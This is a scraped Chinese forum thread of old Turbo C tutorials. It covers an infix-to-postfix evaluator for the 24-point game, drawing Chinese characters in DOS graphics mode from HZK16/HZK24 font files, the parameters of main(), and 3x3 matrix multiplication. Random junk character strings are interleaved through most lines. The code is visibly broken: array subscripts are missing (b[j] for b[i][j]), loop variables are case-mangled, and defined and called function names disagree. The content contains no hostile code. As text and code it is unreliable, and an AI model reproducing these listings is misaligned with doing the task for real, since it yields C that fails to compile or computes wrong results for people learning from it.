# B6 D+ N* N8 C* c/* 此函数实现中缀到后缀的转换 */+ V8 }9 V7 `1 B% y4 H, o
/* M的值宏定义为20 */
# k' c: [/ Y7 l9 |, J) d/* sp[]为表达式数组 */
7 J8 u2 v$ l  q% {3 n' f7 iint mid_last()
) E; N& K9 ~+ L1 e$ ~4 ]1 W{ int i=0,j=0; char c,sm[M];
( M4 Z5 _/ z& j, q. l. A/ M- R  J2 jc=s[0]; sm[0]='='; top=0;
0 [; A4 q+ p) V5 C6 o) `while(c!='\0')' S# V7 x% x; l9 b( b; m& g" ~
{ if(islower(c)) sp[j++]=c;* s& r# {* K* R0 o
else switch(c)
& a5 N) D6 e- ^0 w  g3 P3 n$ t{ case '+':
$ N1 ?8 }& ]+ Z, ~4 }/ ?case '-':  g2 a, u# x: U' L6 X
case '*':
" I2 I7 C" m& d# x8 Mcase '/': while(first(c)&lt;=first(sm[top]))
; ^: p8 S4 x6 H, z  q0 ?/ `% Hsp[j++]=sm[top--];; `9 e& n$ [7 c* ^% Z. v
sm[++top]=c; break;
, X6 w: j" k5 _7 w9 gcase '(': sm[++top]=c; break;9 ?9 g) b: p" \& {& D5 ^5 o/ l  M
case ')': while(sm[top]!='(')
  j8 ^+ t# |, E$ |' a; B! q; B) Msp[j++]=sm[top--];
4 I( C! l9 S, z# ctop--; break;3 S( |8 N5 S$ f5 N
default :return(1);* |9 _, C; R$ ~
}* d& C, M. v1 z
c=s[++i];8 x* s# C. a# E1 K
}
& G4 e1 f1 b8 \1 w" }4 \while(top&gt;0) sp[j++]=sm[top--];  B  g' N3 V4 U6 ]9 n5 J
sp[j]='\0'; return(0);
( e& C& s8 A) {  {: G' p}
& y1 t9 B4 U$ D9 E/* 由后缀表达式来计算表达式的值 */
' V5 z5 L5 A# F+ i7 V: a3 wint calc()
* Y: C/ C2 a* c* @" j# T6 u7 c) p  w{ int i=0,sm[M],tr; char c;% m! _, s9 f) C# ~7 J) A0 }; O& ^$ R2 Y
c=sp[0]; top=-1;
: ~8 w: }: ?" ]+ I+ Z* q/ mwhile(c!='\0')
1 U& d9 S  L% u2 Z{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
/ U5 m7 P3 I$ I4 t这样才可以更方便的处理非一位数, " W' M5 k$ k% P# z
ver数组中存放着这些字母所代替的数*/# u! B- M$ W$ l3 L$ K7 H5 q
else switch(c)
, J1 T& \: m  o, S2 F{ case '+': tr=sm[top--]; sm[top]+=tr; break;- V6 K9 a7 w$ G; E" |$ T
case '-': tr=sm[top--]; sm[top]-=tr; break;
6 A2 v' {+ y: q7 G2 ~4 I! R+ Ecase '*': tr=sm[top--]; sm[top]*=tr; break;
& O6 M3 C' B  ^; h( Vcase '/': tr=sm[top--];sm[top]/=tr;break;
: {$ Q9 N% w$ X, P9 c8 s- j! \  Idefault : return(1);- X" E' d; r, J& ^6 Q# G
}
+ N5 \  N' c! o/ z9 u& }( [c=sp[++i];
6 S; R3 Y& `% }}
: v. \, ?+ R# h4 x' F5 F; Tif(top&gt;0) return(1);
, p* ^! \3 R  M5 A& Melse { result=sm[top]; return(0); }7 Z; \4 e4 ^/ p) w3 z  Q. U7 {1 j
}
3 b# w# c6 `4 y9 o6 ?: E. Y</FONT>
  l( v. w( a/ H1 o, G, e& N  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
3 n2 c, T5 p+ t+ |9 C% L( P0 @
  最后我总结了一下这其中容易出错的地方——
7 x7 P% H$ {& d, W
+ i8 Q2 K; K/ m! j7 ]- f* B  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。4 o$ @- d& l$ @, T, h$ P
% I" W& G. o2 S5 h6 H$ Z# j
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。1 H* k. u8 y4 N4 m) J3 D
; j# `7 y- j* Z5 ]# w6 a1 G7 H0 i
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 3 D+ w! O8 F; Z& w5 \
& q, Y; i+ b; v. F8 V5 t
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
; l$ W7 m$ s' s' g' n/ f
" S; B; y" I2 H' L  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
/ q1 v2 a$ L; N0 E+ E5 a9 Z6 i; N( r* H$ `9 F' j
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
1 q9 F; z8 l+ h) l. |
/ G8 O! i( O+ [/ O1 W2 ]1 f  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。2 i( H% r0 H5 H- Y" V
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
% \% B" K3 }  x7 [8 b! F3 s& g+ U. ]3 c图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
* A' a& t; ^8 g* t  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。' W; `0 [- I! m8 @( c7 Z+ [* r1 X
  汉字显示的第一步是打开字库文件。
& o, Y0 I. {/ g4 g- v  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
: p1 X8 u  \/ I+ D. i6 P  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
9 ?  b0 o9 c: v' e/ p{! _4 ?' I( }! w; U6 c. k5 W
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
0 E& k( w" k( K6 y0 hint rec,i1,i2,i3; /*z:space between;*/+ [8 V2 }. H% |, D. Z
long l; /*color:txt color*/( V# r/ f: X6 b
char by[32]; /*p:HZ str*/
  n4 x7 O, n& n1 ^' h: nif( handle&lt;0 ) return -1; while((i=*p++)!=0){. g) X1 F( K9 ]& [
if(i&gt;0xa1)1 }" U$ d3 O. J/ N0 n
if(f==0){6 E6 _6 P. Y* F2 n- I; U
c1=(i-0xa1)&amp;0x07f;5 o8 W0 z& {. G* y; u" o
f=1;
# h3 |. J) V: S, F' H. Z}
  H! W6 \( v: @' Telse{
5 P$ G/ U! Q& b, {c2=(i-0xa1)&amp;0x07f;' n& x8 i- t: ^" j* R/ d9 _' m
f=0;
0 x: z% ?/ g" R( g5 ]' ~4 Srec=c1*94+c2;3 g; n' T, t7 Q% @  B7 F
l=rec*32L;
- k; B9 l) P; u5 x) ^lseek(handle,l,SEEK_SET);/ K6 ^9 ^7 S/ \& X* D; F5 p
read(handle,by,32);
+ I# w/ T+ K: T) T! R" ~9 y, Gfor(i1=0;i1&lt;16;i1++)
* U. P& K  S- ?for(i2=0;i2&lt;2;i2++)
/ y0 W2 l% @( ], m& U% E+ [for(i3=0;i3&lt;8;i3++): F7 f9 f" |+ ~: R7 M' T1 t8 r
if(GetBit(by[i1*2+i2],7-i3)), ^% ^! M( z6 j% P' B% l
putpixel(x+i2*8+i3,y+i1,color);( {/ V2 A: n+ f# m3 O1 V" a. ]+ }
x=x+z+16;7 B# o# C. @7 H9 z7 x7 d
}
/ y" y4 d2 C7 L/ z7 \}
% c! v# N2 t2 w4 x' n8 [# Ureturn(x);  M& R3 e( d/ B- i/ y" M/ X! p
}
' B8 _; ^1 h! \2 @& l函数GetBit定义如下:
) j8 h1 i9 p& d1 T5 y  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。" s5 l; |7 j( X; @5 }1 ~& x- K
int GetBit(unsigned char c,int n), v: n! d8 T" f# d
{) n. U7 b- B; X
return((c&gt;&gt;n)&amp;1);* ?: g+ h- |$ s
}
+ {# r) \: X6 m" E汉字显示结束,应该关闭字库文件。
% L2 D6 T' a* Hvoid CloseHz(void)
4 c& m7 U# N# d3 R- ?8 Y) g{7 d1 v2 p- G9 i8 w2 B  z
close( handle );# b3 E4 ^+ E5 c/ S2 f) ]( @# o
}
3 a9 a0 x' p# p+ ?+ r9 q/ C#include "\Caic\Include\Hz.h". O/ y- r* ?# o
#include <GRAPHICS.H>
  `- g. \2 c% U2 J7 V9 V#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";2 ?, ~6 L- j# t& Z% D# X# T% n
const char* HzStr = "苦丁香C语言辅助学习软件";# {' c, T: Q7 c" X8 A  v" y& v9 `/ |
void main(){" s9 l, f( s: T7 c
int gr=DETECT,gm;/ U( i% a% X' u: q+ N8 l- \, s# R
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");6 G2 i2 C+ ]* b
OpenHz( Hz16Path );9 }' M% \9 L2 ?8 H# {0 M  f
Wrt16Hz(20,20,4,RED,HzStr);
0 d& N5 l2 d6 h9 c! R! _  jCloseHz();
+ U. a, Y2 T( [" M7 C9 c; zgetch();
! q2 }- a# b1 ~" U3 G" k: U" kclosegraph();" E3 Z* P7 B, F6 q
}显示24点阵及放大汉字
' [& O  f; V/ a, n. f% h/ I  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
( g, @0 ]8 w+ n0 t+ \函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
- ?: ^% Q6 G( f/ D% hint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
( a9 `+ g" q8 {! L2 y3 k{
; b; I$ D' C  k9 o5 M5 u) h1 qunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/6 u. h/ `' c# E* O4 }- ^' ^
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
( N8 V% r) @) h5 O1 ^. }long l; /*color:汉字颜色*/8 X% l5 s# n0 W* F& N7 o' R
char by[72]; /*m: x 方向的放大倍数*/  m1 l2 P* X4 b8 g9 f2 [
/*n: y 方向的放大倍数*/, Z# E6 N1 [! }0 ?
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){0 W  O( b# O- r6 r5 c
if(i&gt;0xa1)
* Z" s/ R/ w" s8 A$ lif(f==0){
" [; k+ {2 v) }/ ~* E, a7 `* Pc1=(i-0xa1)&amp;0x7f;6 ^; M# {  ^2 W  [9 h
f=1;
6 I; n. t1 a( U8 r& |}7 t8 e" j; W% b! H# |# b' M
else{
/ F3 Z* i& ^/ Rc2=(i-0xa1)&amp;0x7f;" P5 A6 z/ K! k5 O& q/ _2 G* p
f=0;
6 h/ j5 O0 r+ ^* n! jrec=(c1-15)*94+c2;- T- n' Z1 C$ Y6 a$ W( U
l=rec*72L;( d! q: a0 n( }5 j7 d& W
lseek(handle,l,SEEK_SET);! d+ k2 Q1 o6 R0 N+ D' u4 \: v" Y
read(handle,by,72);
) Z# D  z; P- }6 R0 \/ S" `4 Wfor(i1=0;i1&lt;24*m;i1=i1+m)7 @* I6 f6 q' b2 R# _
for(i4=0;i4<M;I4++)% W! N# o2 k, X/ K
for(i2=0;i2&lt;=2;i2++)$ G8 S, A( A9 T9 ~' N( N3 W( h5 d
for(i3=0;i3&lt;8;i3++)
( X7 a( b/ x" a, fif(GetBit(by[i1/m*3+i2],7-i3))
! T8 B8 ~& s0 }# Yfor(i5=0;i5<N;I5++)
: h; ^3 U( q+ t0 q5 \* t putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
- @% X+ E) \* n: I6 ?  a# nx=x+24*m+z;
4 `  d% p8 T; d8 u% |" n6 b) X}% Y0 \3 H6 J7 K6 A
}- b; H' I3 y8 H5 [* v5 a
return(x);1 v% g4 u1 l  g) C  q
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"- H4 C5 b( V. Z0 I
#include <GRAPHICS.H>9 j/ i' w+ L& L
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."! m+ `4 E* i% Y7 P+ }- k3 q
const char* HzStr = "苦丁香C语言辅助学习软件";
% M5 B6 i3 H% d0 r( z" \" |% o' Fvoid main(){( ?9 r5 g4 \  K- g8 P- B& [
int gr=DETECT,gm;
% @) c" w! k$ j! i6 Ninitgraph(&amp;gr,gm,"\\Caic\\Bgi");
/ D& [) n$ |! j9 U6 }2 m1 c: NOpenHz( Hz24Path );! q# k0 i6 C. x' a2 f3 |  ^
Wrt24Hz(20,20, /*先是在(x,y)*/" }0 ?  |- K0 @* M+ {
4, /*汉字间的空格为4*/
  ~6 T  `5 }' R, K7 O1 _  s  b; e0 [RED, /*用红色显示*/
2 T& Z3 @1 L, z! n7 k, u2, /*x 方向放大2倍*/; x: y1 J! W: P9 B& t" [) `3 s
4, /*y 方向放大4倍*/
# D" c0 }6 N/ Z6 n; U7 V" Y4 ^HzStr); /*显示字符串*/
4 W7 y8 h5 \% F8 JCloseHz();
/ X4 R  Y6 n7 x0 |getch();
2 l% U1 r/ r0 f, r8 S7 mclosegraph();
, k$ W* d) v7 {* ^' ^}
% b8 n, [: i& @1 f6 J' w" g</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数' e5 ?; P8 C' q4 p- `  P
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
% ~7 _3 {4 O: h, l4 B" k/ w7 P/ M1. main() 参数; r2 j  t, v, q7 X( p& ^' G
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。. J; K* U6 j( [8 E9 a0 x3 @
  * argc: 整数,为传给main()的命令行参数个数。
) J+ I& K0 O6 k  J/ r( `/ ?  * argv: 字符串数组。; A+ w: R" O8 l, G. i
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
+ D0 [0 {! p( _3 r对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;! l* y0 s: @3 H9 o
...
$ F! f3 `# K6 D% u8 \% e, iargv[argc]为NULL。
* ]/ W+ c1 R& J# k0 x8 F! @/ q  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应" ]) n' u/ k3 |/ Y0 L% E
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/$ ]* `+ h1 \! ~7 U; u4 Z& y
#include&lt;stdio.h&gt;; s* {# B' u  p5 b) ^* \: A- e
#include&lt;conio.h&gt;
/ L0 z9 W4 x: w% [6 S/ p* q#define X 3
8 ?$ s; u. z: g, Y0 J- l: d- `$ z#define Y 3</P><>int a[X][Y];7 T0 F0 I0 k- Y% @
int b[X][Y];: k! u, K  r# o; a
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
. r3 p0 x, z! V, ~main()
% C* W# _) v7 ?/ g{
7 x! d4 w6 A6 `% }int i,j,temp;
$ x9 E, |3 Q; tclrscr();
0 J  V! A) p1 ?printf("lease input int matrix b[%d][%d]\n",X,Y);
* n3 Y8 J! Q1 ?+ Dfor(i=0;i&lt;Y;i++)  N! ~2 w. P3 g1 \8 t
for(j=0;j&lt;Y;j++){( ~/ P9 q, C- f1 C" V, @, ]8 P
scanf("%d",&amp;temp);2 M& ~" ~8 e7 y8 _
b[j]=temp;
. v5 D4 ~% c. L2 l7 l1 o# f' E5 k}$ M$ f( r  N& {  W
printf("lease input int matrix c[%d][%d]\n",X,Y);
: Q; M4 Z- O0 u% [! f2 A# c# pfor(i=0;i&lt;X;i++)  ^% }7 D' M+ ]
for(j=0;j&lt;Y;j++){
& e* u7 j% H" f' C" ?0 ]scanf("%d",&amp;temp);6 \6 r, @. Q# q$ n1 Q6 _  X
c[j]=temp;
2 n* P/ I: r/ i}7 g) o, S- |3 Y9 u7 ?9 A
matrix(b,c);
9 o  R5 X* ~3 |% P/ ^printf("Now print resource matrix b[%d][%d]=",X,Y);/ b* Z% |2 e8 A. V' \: I/ C
for(i=0;i&lt;X;i++){
7 `1 A2 ]: C+ u+ }% w1 s: ~printf("\n");
% n: U8 L- O7 ^for(j=0;j&lt;Y;j++)& x2 T1 f% g8 G% F
printf("%d ",b[j]);
. g) m  ?/ N+ E2 B7 @  v$ G5 s}7 r1 s9 M- }9 I4 l7 n
printf("\n");
+ H# e- a+ T# Iprintf("Now print resource matrix c[%d][%d]=",X,Y);: ?* x) L2 k% G: ^0 j
for(i=0;i&lt;X;i++){1 x" h* l4 }9 ]  \: {
printf("\n");
* Y& n  Y3 D$ i  i" h: C2 Ofor(j=0;j&lt;Y;j++)# r9 Y1 R3 t9 q! A7 M
printf("%d ",c[j]);
' ~$ c& I7 p8 \/ ^( N- T}4 S1 r* i7 _' Y( R/ G0 e7 Z+ y2 E/ i
printf("\n");- Q  J/ n: Z7 y
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
/ D5 a0 d, a* e) w; |for(i=0;i&lt;X;i++){
& S- {2 f  W( s  u( E+ h$ Rprintf("\n");
- M0 Y" {( J0 ifor(j=0;j&lt;Y;j++)# |4 p1 F) i* l) L& @. ^( x# c
printf("%d ",a[j]);
9 h5 C+ B8 [$ k. q1 W/ j}. ~% ]& _+ i2 v5 ?
getch();
5 j6 d9 G+ j" g. @+ {return 0;
- ]$ h9 U& ]' z1 ^- m}, s8 o& R( e! t5 I: A0 S! F1 n& a
/********************************************************************/& T1 [: V6 K* `) J4 i  T3 v- o" ?
void matrix(int b[][X],int c[][Y])
' w# \) c9 X! j/ J{
2 @7 F6 g4 O4 B9 R. d; g3 [- nint i,j,k,temp;
% e5 l9 }' {9 R! F: nfor(i=0;i&lt;X;i++)
7 ^. }' U) P4 R. M3 ]" j' _. Rfor(j=0;j&lt;Y;j++){, k: c( j. ~, y
for(k=0;k&lt;Y;k++)
" L  Y9 W) Q- D8 h9 _% v( G6 va[j]+=b[k]*c[k][j];4 ~6 Z; \0 l* T9 N" I( i) A* ?
}
" z  z5 I6 y6 G; J: v# \}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2025-8-5 22:11 , Processed in 0.837948 second(s), 89 queries .

回顶部